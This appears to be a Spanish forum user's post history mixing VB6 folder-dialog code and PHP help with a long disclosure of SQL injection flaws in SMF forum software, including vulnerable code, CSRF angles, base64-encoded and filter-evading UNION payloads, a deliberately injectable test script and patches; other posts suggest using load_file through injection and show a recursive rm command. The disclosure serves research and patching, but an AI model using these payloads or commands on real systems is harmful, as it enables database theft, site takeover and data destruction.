Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#3731
Hola, estaba utilizando el control webbroser para crear una presentación de imagenes redimensionadas pero el borde del control me descompone el resto del diseño del programa.
Como puedo darle otro borde? color o simplemente sacarlo?
#3732
si, ya las habia visto, de hecho la imagen que puse era de ese msmo lugar xD
pero acá dejo la función que armé por si a alguien le hace falta:

Dialogo.bas
Código (vb) [Seleccionar]
Option Explicit

Private Type BrowseInfo
   hWndOwner As Long
   pIDLRoot As Long
   pszDisplayName As Long
   lpszTitle As Long
   ulFlags As Long
   lpfnCallback As Long
   lParam As Long
   iImage As Long
End Type
Private Const BIF_RETURNONLYFSDIRS = 1
Private Const MAX_PATH = 260
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long

Public Function Dir_Dialogo() As String
Dim iNull As Integer, lpIDList As Long, lResult As Long
Dim sPath As String, udtBI As BrowseInfo

With udtBI
 'Set the owner window
 .hWndOwner = Form1.hWnd
 'lstrcat appends the two strings and returns the memory address
 .lpszTitle = lstrcat("Seleccione el directorio", ":")
 'Return only if the user selected a directory
 .ulFlags = BIF_RETURNONLYFSDIRS
End With

'Show the 'Browse for folder' dialog
lpIDList = SHBrowseForFolder(udtBI)

If lpIDList Then
 sPath = String$(MAX_PATH, 0)
 'Get the path from the IDList
 SHGetPathFromIDList lpIDList, sPath
 'free the block of memory
 CoTaskMemFree lpIDList
 iNull = InStr(sPath, vbNullChar)
 If iNull Then
  sPath = Left$(sPath, iNull - 1)
 End If
End If

If Len(sPath) > 0 Then
 If Not Right(sPath, 1) = "\" Then
  Dir_Dialogo = sPath & "\"
 Else
  Dir_Dialogo = sPath
 End If
End If

End Function


Y funciona así:
Código (vb) [Seleccionar]
Private Sub Boton_Click()
Dim Directorio As String
' Establece el directorio
Directorio = Dir_Dialogo
' Verifica que haya valor, o sea que no hayan cancelado
If Len(Directorio) > 0 Then
  Text.Text = Directorio
End If
End Sub
#3733
PHP / Re: consulta me inserta 2 veces
8 Octubre 2009, 09:47 AM
asi es, como te dicen lo mas probable esque no haya alguna coluna primaria por eso el servidor te permite duplicar columnas, ahora se duplica cuando haces la query dos veces pero si dices que con una sola query insertas dos veces significa que tienes un problema en tu script ya que se está ejecutando dos veces.
Como no se ve el resto del código no se puede saber exactamente que está pasando.
#3734
Bueno,... encontré varias inyecciones SQL en SMF (Simple Machines Forum) en todas las versiones de SMF actuales (1.1.10 y 2.0 rc1.2) y versiones anteriores.

Antiguamente me la pasaba posteando bugs de este sistema WEB y les avisaba con anterioridad a los autores pero ni una sola ves me hicieron caso, tales como:
http://foro.elhacker.net/nivel_web/bug_en_smf_118_y_119-t255613.0.html
y otros mas por ahi xD

Por lo tanto esta ves no avisé ni avisaré tampoco, si quieren reparar el bug que vengan, lean, usen un traductor no se.

Estas fallas de seguridad ya están parchadas en este foro y en el mio xD pero les mostraré también como parcharlo.

Ínyección SQL remota I
Como dicen, el problema está entre el asiento y el teclado, basta con dar un vistazo al archivo Sources/ManageMembers.php linea 405 y 453:
Código (php) [Seleccionar]
// If the query information was already packed in the URL, decode it.
// !!! Change this.
elseif ($context['sub_action'] == 'query')
$where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));

Código (php) [Seleccionar]
// Calculate the number of results.
if (empty($where) or $where == '1')
$num_members = $modSettings['totalMembers'];
else{
$request = db_query("
SELECT COUNT(*)
FROM {$db_prefix}members
WHERE $where", __FILE__, __LINE__);
list ($num_members) = mysql_fetch_row($request);
mysql_free_result($request);
}


Como me decía sdc este es el típico caso de "a mi me da flojera arreglarlo, que lo haga otro" ya que la falla es evidente e incluso está marcado por los propios programadores que debe ser cambiado, por lo tanto en alguna ocación supieron de este problema pero nunca lo terminaron de codear.

PoC:
Si vamos a la sección
http://127.0.0.1/smf/index.php?action=permissions
veremos varios grupos de usuarios y al costado derecho la cantidad de usuarios por cada grupo, ahora... ese enlace es un tanto espacial (especial) ya que si le damos click al primero tal como se ve en la imagen:


Veremos un enlace que nos lleva acá:
http://127.0.0.1/smf/index.php?action=viewmembers;sa=query;params=SURfR1JPVVAgPSAw

Si analizamos el enlace podemos darnos cuenta de dos grandes detalles, el primero es que no nos solicita el token de seguridad "SC" por lo tanto esta url puede ejecutarse de forma arbitraria con tan solo redireccionar al que tenga acceso a esta sección para que se le ejecute y el segundo detalle es el valor de la variable "params", lo desciframos en base 64 y nos revela esto:

CitarID_GROUP = 0

Por lo tanto esa variable pasa a ser escrita directamente en la query MySQL sin token ni nada.

Si escribimos una comilla simple, lo ciframos en base64 y se lo ponemos en la url podremos ver esto:
http://127.0.0.1/smf/index.php?action=viewmembers;sa=query;params=Jw==


Esto ocurre porque SMF filtra cada petición POST y GET agregando slashses y cuanta cosa pero en este caso la petición va encapsulada en un cifrado de base64 asi que ese filtro se evade.
Este sistema que ellos implementan es seguro para la gente que hace mods ya que los filtros pasan por defecto en las peticiones pero el problema esque si encuentras un hueco como este puedes causarle un daño mayor al mismo sistema, no hacen querys seguras sino filtros seguros para proteger a los modulos pero para mi no me gusta, yo soy de la idea de crear códigos seguros y peticiones libres aunque como este es un sistema público creo que no quedaba otra ya que nunca se sabe como codean los terceros.

Por o tanto si queremos practicar para ver las posibilidades de una inyección + csrf para ver las posibilidades de actualizar perfiles, dumpear bases de datos, etc podemos practicar acá:
Código (php) [Seleccionar]
<?php

$inyeccion 
$_GET['inyeccion'];

/* BUG */
$handle mysql_connect('localhost''root''123456');
mysql_select_db('smf'$handle);
$request mysql_query("SELECT COUNT(*) FROM smf_members WHERE $inyeccion");
/* BUG */

if(!$request){
 echo 
'Error ('.mysql_errno($handle).'): '.mysql_error($handle);
}else{
 while(
$fila mysql_fetch_array($requestMYSQL_ASSOC)){
  
$retorno[] = $fila;
 }
 
mysql_free_result($request);
 
print_r($retorno);
}

mysql_close($handle);
?>


Se usa así: test.php?inyeccion= mi inyección acá
Y cuando tu inyección funcione bién podrás hacer el exploit (que aun no existe porque se supone que nadie mas lo conoce xD).

Ínyección SQL remota 2
Si buscamos patrones dentro del código fuente de SMF podemos darnos cuenta que esto se repite en tres partes mas que son:

Sources/ModLog.php linea 87
Sources/PersonalMessage.php linea 613 y 700
Sources/Search.php linea 81 y 311

sirdarckcat tenía razó cuando me dijo que probablemente estas otras secciones también podrían tener problemas de inyección SQL ya que me puse a testear los códigos y justamente si eran vulnerables.

La falla está en la sección de logs de moderación:
Sources/ModLog.php linea 84 al 92:
Código (php) [Seleccionar]
// If we're coming from a search, get the variables.
if (isset($_REQUEST['params'])){
$search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
$search_params = @unserialize($search_params);

// To be sure, let's slash all the elements.
foreach ($search_params as $key => $value)
$search_params[$key] = addslashes($value);
}


El mismo archivo en la linea 169:
Código (php) [Seleccionar]
// Count the amount of entries in total for pagination.
$result = db_query("
SELECT COUNT(*)
FROM {$db_prefix}log_actions AS lm
LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = lm.ID_MEMBER)
LEFT JOIN {$db_prefix}membergroups AS mg ON (mg.ID_GROUP = IF(mem.ID_GROUP = 0, mem.ID_POST_GROUP, mem.ID_GROUP))" . (!empty($search_params['string']) ? "
WHERE INSTR($search_params[type_sql], '$search_params[string]')" : ''), __FILE__, __LINE__);
list ($context['entry_count']) = mysql_fetch_row($result);
mysql_free_result($result);


Si se van a la sección de logs de moderación verán un pequeño buscador abajo, le ponen lo que sea y luego cuando aparezcan los resultados le hacen click en "Grupo" para ordenar los resultados por grupo y les aparecerá algo como esto:
http://127.0.0.1/smf/index.php?action=modlog;order=group;start=0;params=YTo0OntzOjY6InN0cmluZyI7czoyOiJsbCI7czo0OiJ0eXBlIjtzOjY6Im1lbWJlciI7czo4OiJ0eXBlX3NxbCI7czoxMjoibWVtLnJlYWxOYW1lIjtzOjEwOiJ0eXBlX2xhYmVsIjtzOjc6IlVzdWFyaW8iO30=

Déjà-vu... otraves sin token, por lo tanto es remoto.
Pasamos el valor params por la decodificación de base64 y encontramos este string:
Citara:4:{s:6:"string";s:2:"ll";s:4:"type";s:6:"member";s:8:"type_sql";s:12:"mem.realName";s:10:"type_label";s:7:"Usuario";}
y nos damos cuenta que es un valor serializado por lo tanto:
Código (php) [Seleccionar]
<?php
$string 
'a:4:{s:6:"string";s:2:"ll";s:4:"type";s:6:"member";s:8:"type_sql";s:12:"mem.realName";s:10:"type_label";s:7:"Usuario";}';
print_r(unserialize($string));
?>


Resultado:
CitarArray(
   [string] => ll
   [type] => member
   [type_sql] => mem.realName
   [type_label] => Usuario
)

Asi que ahora hacemos lo inverso pero con la inyección de prueba:
Código (php) [Seleccionar]
<?php
$string 
= array(
    
"'" => "'",
    
'string' => "ll",
    
'type' => 'member',
    
'type_sql' => '\'mem.realName',
    
'type_label' => 'Usuario'
);

echo 
base64_encode(serialize($string));

?>


Resultado:


Ínyección SQL remota 3
En algunas inyecciones necesitabas la intervención de alguien que tuviera mas acceso que tu a menos que fueras de algún grupo de usuario que pudieras ver las secciones vulnerables, si eres usuario normal necesitabas lanzar un csrf para hacer caer al admin o a alguien con derechos sin la necesidad de que hiciera click en ninguna parte como por ejemplo poniendo la url de la inyeccion como imagen en tu perfil y listo pero en este caso esta tercera inyeccion SQL no necesitas ningún permiso especial ya que se encuentra en el archivo de mensajes personales del usuario.

Si vas a tu bandeja de entrada verás que al costado isquierdo tienes una opción para hacer busquedas de mensajes, haces una busqueda que de muchos resultados como por ehemplo "re" (respuestas a mensajes) o "sin" (sin asunto) y cuando te muestre todos los mensajes le haces click en ordenar por mensaje o autor y verás que se fabrica una variable GET llamada "param" que contiene un valor en base64 nuevamente pero esta ves no son datos serializados.

http://127.0.0.1/smf/index.php?action=pm;sa=search2;start=0;params=YWR2YW5jZWR8J3wxfCJ8c2VhcmNodHlwZXwnfDJ8InxzdWJqZWN0X29ubHl8J3x8InxzaG93X2NvbXBsZXRlfCd8fCJ8dXNlcnNwZWN8J3xXSEt8Inxzb3J0X2RpcnwnfGRlc2N8Inxzb3J0fCd8SURfUE18InxsYWJlbHN8J3wwLDEsMiwzLDQsNSwtMXwifHNlYXJjaHwnfHNpbg==

Te dará resultado esa codificación:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|WHK|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|sin

y el único vaor inyectable sin pasar por ningún tipo de filtro es "userspec" por lo tanto en ese lugar hacemos nuestra inyección pero tendrán varias complicaciones ya que SMF utiliza varios filtros como por ejemplo reemplazar comas, parentesis, asteriscos por porcentages, etc etc. pero primero les muestro donde está la falla antes de mostrarles como explotarlo.

Archivo Sources/PersonalMessage.php linea 613 y 700 donde se procesa en la linea 915 filtrado por Sources/Subs.php linea 238 en adelante y ejecutado en la linea 320:

Código (php) [Seleccionar]
$temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));

Código (php) [Seleccionar]
// Get the amount of results.
$request = db_query("
SELECT COUNT(*)
FROM ({$db_prefix}pm_recipients AS pmr, {$db_prefix}personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM" . ($context['folder'] == 'inbox' ? "
AND pmr.ID_MEMBER = $ID_MEMBER
AND pmr.deleted = 0" : "
AND pm.ID_MEMBER_FROM = $ID_MEMBER
AND pm.deletedBySender = 0") . "
$userQuery$labelQuery
AND ($searchQuery)", __FILE__, __LINE__);
list ($numResults) = mysql_fetch_row($request);
mysql_free_result($request);


Código (php) [Seleccionar]
// We don't use UNION in SMF, at least so far.  But it's useful for injections.
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
$fail = true;
// Comments?  We don't use comments in our queries, we leave 'em outside!
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)
$fail = true;
// Trying to change passwords, slow us down, or something?
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
$fail = true;
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
$fail = true;
// Sub selects?  We don't use those either.
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
$fail = true;


Bueno, ese filtro final es muy fácil de bypasear pero primero vamos a la estructuración de la inyección misma.

Para hacer nuestros test vamos al archivo subs/Subs.php linea 320 y donde dice:
Código (php) [Seleccionar]
$ret = mysql_query($db_string, $db_connection);
le ponemos:
Código (php) [Seleccionar]
/* TEST */
   if(eregi('union', $db_string)){
   echo nl2br($db_string).'<br /><br />';
$ret = mysql_query($db_string, $db_connection);
echo mysql_error($db_connection); // test
while($fila = mysql_fetch_array($ret, MYSQL_ASSOC)){
    foreach($fila as $variable => $valor){
 echo nl2br(htmlspecialchars($variable, ENT_QUOTES).' = '.htmlspecialchars($valor, ENT_QUOTES).'<br /><br />');
}
   }
//exit;
}else{
$ret = mysql_query($db_string, $db_connection);
}
/* TEST */


Con esto podremos capturar las inyecciones que intentaremos hacer.

Como ya habiamos dicho:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|WHK|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|sin

Inyectamos así:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|whk') or pm.fromName like "|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|"/**/union/**/select/**/database(),user()/**/-- -
:xD :xD :xD
Ahora les explico este desmadre un poco...
Ciframos esto en base64 y se lo damos como param.
Primero que nada SMF filtra * por % asi que no podemos hacer la inyección completa en el nombre de usuario... hechemos un vistazo como queda la query inyectada:

Código (sql) [Seleccionar]

SELECT COUNT(*)
FROM (smf_pm_recipients AS pmr, smf_personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM
AND pmr.ID_MEMBER = 2
AND pmr.deleted = 0
AND pm.ID_MEMBER_FROM = 0 AND (pm.fromName LIKE 'whk&#039;) or pm.fromName like "')

AND ((pm.subject LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%' OR pm.body LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%'))<br /><br />COUNT(*) = 0



SELECT pm.ID_PM, pm.ID_MEMBER_FROM
FROM (smf_pm_recipients AS pmr, smf_personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM
AND pmr.ID_MEMBER = 2

AND pmr.deleted = 0
AND pm.ID_MEMBER_FROM = 0 AND (pm.fromName LIKE 'whk&#039;) or pm.fromName like "')
AND ((pm.subject LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%' OR pm.body LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%'))
ORDER BY ID_PM desc
LIMIT 0, 30


Bueno, lo que hicimos (esta inyección me ayudó muchisimo sirdarckcat) es escapar la query con comilla simple y parentesis, luego para poder invalidad el codigo siguiente habia la posibilidad de inyectar con "\" pero se filtraba, los puntos tambien los filtraba asi que se inyectó con una comilla doble diciendo que el resto de la query era parte de un string hasta terminar en las proximas comillas dobles... luego viene nuestra segunda variable inyectada que es search y fms también filtra los espacios en blanco por lo tanto la inyección la hicimos con /**/ y "`" para invalidar la siguiente string y dejar libre unicamente la union.
Ahora este valor se va a otra query que es la query siguiente y a esa query le deve llegar dos columnas o el array con dos dimensiones donde el valor de la dimension debe contener el string con la siguiente inyección sq y esa inyección nos devolverá el resutado de la base de datos con el hash del password del admin o lo que sea.

La inyección está inconclusa ya que debes fabricar la segunda inyección para poder obtener el dato que necesitas.
en esta parte por rasones claras no doy la inyección completa para evitar un ataque masivo a foros por parte de gente que no sabe inyectar.

Códigos pendientes por reparar (posibles bugs)
Revisando un poco mas a fondo el código de SMF me di cuenta que hay una persona dentro de los que codean este sistema que se dedica solamente a revisar código y dejar marcado ciertas secciones con posibles fallas a reparar, luego se toman esas marcas y se reparan pero en este caso pude observar que no todas  esas marcas son reparadas y muchas quedan inconclusas como este mismo bug de la inyección sql.
Si se fijan el mensaje de advertencia comienza con un comentario
Código (php) [Seleccionar]
// !!! comentario

Por lo tanto si buscamos esta marca en todos los archivos de SMF podemos encontrar mas de 40 archivos afectados con 599 firmas haciendo una busqueda con grep y en muchos casos dice: cambiar esto, eliminar esto, posible bug acá, por implementar, etc etc. Tal como se ve en la imagen:



Consecuencias
Robo de sesiones, robo de la base de datos comleta del foro, puedes comprometer al servidor ya que teniendo la sesion del administrador puedes subir mods con shells y scripts, y control TOTAL del sitio web.

Soluciones
En el archivo Sources/ModLog.php linea 86 dice así:
Código (php) [Seleccionar]
$search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
debes comentarla para que quede así:
Código (php) [Seleccionar]
// $search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Con esto evitarás la inyección SQL en la visualización de logs pero no podrás ordenar busquedas personalizadas con order by.

En el archivo Sources/ManageMembers.php linea 405 dice así:
Código (php) [Seleccionar]
$where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
debes comentarla para que quede así:
Código (php) [Seleccionar]
// $where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Con esto evitarás una inyección SQL en la administración de usuarios pero no podrás ordenar busquedas  por nombre, contenido, etc aunque si aparecerán los resultados pero en su orden original nada mas.

En el archivo Sources/PersonalMessage.php linea 611 a la 613 dice así:
Código (php) [Seleccionar]
  if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       $context['search_params'] = array();
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $context['search_params'][$k] = stripslashes($v);
       }
   }

debes comentarla para que quede así:
Código (php) [Seleccionar]
/*
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       $context['search_params'] = array();
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $context['search_params'][$k] = stripslashes($v);
       }
   }
*/

Con esto evitarás una inyección SQL en el buscador de mensajes personales aunque no podrán los usuarios ordenar busquedas por usuarios o mensajes, aunque de todas formas los mensajes aparecerán en el orden original como siempre.

En el archivo Sources/PersonalMessage.php linea 698 a la 706 dice así:
Código (php) [Seleccionar]
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $search_params[$k] = stripslashes($v);
       }
   }

debes comentarla para que quede así:
Código (php) [Seleccionar]
/*
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $search_params[$k] = stripslashes($v);
       }
   }
*/

Con esto evitas la misma inyección anteriormente mensionada.

Es recomendable que cuando salgan las futuras actualizaciones vuelvas a dejar los archivos como estaban antes y despues lo actualizes para que no interfieran los codigos en las actualizaciones automaticas ya que ese script busca patrones para poder reemplazar. Haz una backup de los archivos a modificar y cuando vayas a instalar la actualización oficial vuelves a dejar los archivos como estaban antes. Está claro que para esto debes dejar el foro en modo de mantención para que nadie deje su bot listo esperando a que intentes actualizar para hacer la inyección en medio segundo xD

Y eso es tod.. eso es tod... eso es todo amigos.


Mirror
#3735
Si puedes hacer inyeccion intenta hacer load_file para visualizar el archivo de configuraciones y ver si conecta a uno o mas bases de datos, tambien puede que ponga ids en ves de nombres detallados.

O si no tendrías que buscar en Schema si es que tienes acceso de lectura a esa base de datos.

Intenta utilizar alguna tool de los que han posteado en esta sección del foro y asi vemos si son eficientes o no xD
#3736
bueno ya lo encontré xD
la función de la api se llama BrowseForFolder
http://allapi.mentalis.org/apilist/774F8232380EA83E4CF374E8F31ED355.html

Código (vb) [Seleccionar]
Private Type BrowseInfo
    hWndOwner As Long
    pIDLRoot As Long
    pszDisplayName As Long
    lpszTitle As Long
    ulFlags As Long
    lpfnCallback As Long
    lParam As Long
    iImage As Long
End Type
Const BIF_RETURNONLYFSDIRS = 1
Const MAX_PATH = 260
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
Private Sub Form_Load()
    'KPD-Team 1998
    'URL: http://www.allapi.net/
    'KPDTeam@Allapi.net
    Dim iNull As Integer, lpIDList As Long, lResult As Long
    Dim sPath As String, udtBI As BrowseInfo

    With udtBI
        'Set the owner window
        .hWndOwner = Me.hWnd
        'lstrcat appends the two strings and returns the memory address
        .lpszTitle = lstrcat("C:\", "")
        'Return only if the user selected a directory
        .ulFlags = BIF_RETURNONLYFSDIRS
    End With

    'Show the 'Browse for folder' dialog
    lpIDList = SHBrowseForFolder(udtBI)
    If lpIDList Then
        sPath = String$(MAX_PATH, 0)
        'Get the path from the IDList
        SHGetPathFromIDList lpIDList, sPath
        'free the block of memory
        CoTaskMemFree lpIDList
        iNull = InStr(sPath, vbNullChar)
        If iNull Then
            sPath = Left$(sPath, iNull - 1)
        End If
    End If

    MsgBox sPath
End Sub
#3737
de verdad gracias por darte tu tiempo en responder pero no tiene nada que ver con lo que necesito XD

No necesito saber como manipular archivos sino "desplegar" una ventana de busqueda de directorios como esta:


habrá alguna api o lo que sea que pueda utilizar esta ventana de forma similar al commondialog 6? o forzadamente tendré que hacer un dirlist en un form nuevo?

Edito:
acabo de encontrar un ejemplo pero en javascript:
Código (javascript) [Seleccionar]
var objShell = new ActiveXObject("Shell.Application");
var objFolder = new Object;
objFolder = objShell.BrowseForFolder(0, "Select folder", 0,"::{20D04FE0-3AEA-1069-A2D8-08002B30309D}");


Lo guardo en un archivo x.js y le hago doble click:


Necesito eso pero en VB6  :P
#3738
Hola, estaba buscando algo como esto:



pero quería saber como hacer funcionar la api o funcion o lo que sea de forma nativa de windows ya que solamente encuentro formularios fabricados que no sirven de mucho.

Gracias.
#3739
Código (php) [Seleccionar]
<?php 
$ruta 
'./archivos/';
system('rm -R '.$ruta.'*');
?>
#3740
PHP / Re: Editar y guardar ficheros
7 Octubre 2009, 01:38 AM
porque no haces un solo php donde le des las tres rutas y abra tres textareas? despues le das en guardar y guarde los tres archivos